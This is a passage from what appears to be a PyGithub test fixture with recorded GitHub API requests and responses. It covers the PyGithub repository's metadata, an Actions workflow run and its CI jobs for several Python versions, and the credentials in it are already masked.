v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","PyGithub","python"],"visibility":"public","forks":1598,"open_issues":219,"watchers":5854,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-15T17:02:12Z","pushed_at":"2023-03-14T22:46:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13760,"stargazers_count":5854,"watchers_count":5854,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1598,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":219,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","PyGithub","python"],"visibility":"public","forks":1598,"open_issues":219,"watchers":5854,"default_branch":"master"},"network_count":1598,"subscribers_count":0} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/runs/4205440316 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"acc4b146279eaa2d142f50ba219289525501ba8cf3599ba32b882ded249c89f6"'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85CA:1D8D:2FED38E:30CA735:6411FA62')] +{"id":4205440316,"name":"CI","node_id":"WFR_kwLOGpsAJ876qe08","head_branch":"tz-aware-2","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","path":".github/workflows/ci.yml","display_title":"Fix lint","run_number":5,"event":"push","status":"completed","conclusion":"success","workflow_id":48708658,"check_suite_id":11050312883,"check_suite_node_id":"CS_kwDOGpsAJ88AAAACkqZksw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316","pull_requests":[],"created_at":"2023-02-17T16:03:37Z","updated_at":"2023-02-17T16:06:11Z","actor":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-02-17T16:03:37Z","triggering_actor":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/11050312883","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/48708658","head_commit":{"id":"06ec040b2eeef6c0316dd5abcda0608525a3f205","tree_id":"452f1c8de54c06ef19e0a76c5f9ecf427fd6ecfe","message":"Fix lint","timestamp":"2023-02-17T16:03:27Z","author":{"name":"Enrico Minack","email":"github@enrico.minack.dev"},"committer":{"name":"Enrico Minack","email":"github@enrico.minack.dev"}},"repository":{"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/runs/4205440316/jobs +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d6c4dda2ce21cc2b6af0b9e26d54105f2c393c9c7be001cc75ae4509ca805dc3"'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85DA:6A07:16C0EF63:171E6998:6411FA63')] +{"total_count":5,"jobs":[{"id":11421878319,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwILw","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878319","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536068","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:38Z","started_at":"2023-02-17T16:03:46Z","completed_at":"2023-02-17T16:04:52Z","name":"test (Python 3.7)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:46.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:57.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:50.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:52.000+01:00","completed_at":"2023-02-17T17:04:52.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:52.000+01:00","completed_at":"2023-02-17T17:04:52.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:50.000+01:00","completed_at":"2023-02-17T17:04:50.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878319","labels":["ubuntu-latest"],"runner_id":2,"runner_name":"GitHub Actions 2","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878551,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwJFw","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878551","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536217","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:38Z","started_at":"2023-02-17T16:03:47Z","completed_at":"2023-02-17T16:06:09Z","name":"test (Python 3.8)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:46.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:49.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:52.000+01:00","completed_at":"2023-02-17T17:03:56.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:06:05.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:06:06.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878551","labels":["ubuntu-latest"],"runner_id":4,"runner_name":"GitHub Actions 4","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878769,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwJ8Q","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878769","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536388","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:39Z","started_at":"2023-02-17T16:03:47Z","completed_at":"2023-02-17T16:04:48Z","name":"test (Python 3.9)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:47.000+01:00","completed_at":"2023-02-17T17:03:48.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:48.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:54.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:55.000+01:00","completed_at":"2023-02-17T17:04:45.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:46.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:48.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:48.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:47.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878769","labels":["ubuntu-latest"],"runner_id":5,"runner_name":"GitHub Actions 5","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878999,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwK1w","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878999","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536561","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:39Z","started_at":"2023-02-17T16:03:45Z","completed_at":"2023-02-17T16:04:50Z","name":"test (Python 3.10)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:45.000+01:00","completed_at":"2023-02-17T17:03:48.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:48.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:54.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:55.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:47.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878999","labels":["ubuntu-latest"],"runner_id":3,"runner_name":"GitHub Actions 3","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421879256,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwL2A","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421879256","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536762","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:40Z","started_at":"2023-02-17T16:03:45Z","completed_at":"2023-02-17T16:05:03Z","name":"test (Python 3.11-dev)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:45.000+01:00","completed_at":"2023-02-17T17:03:47.000+01:00"},{"name":"Run 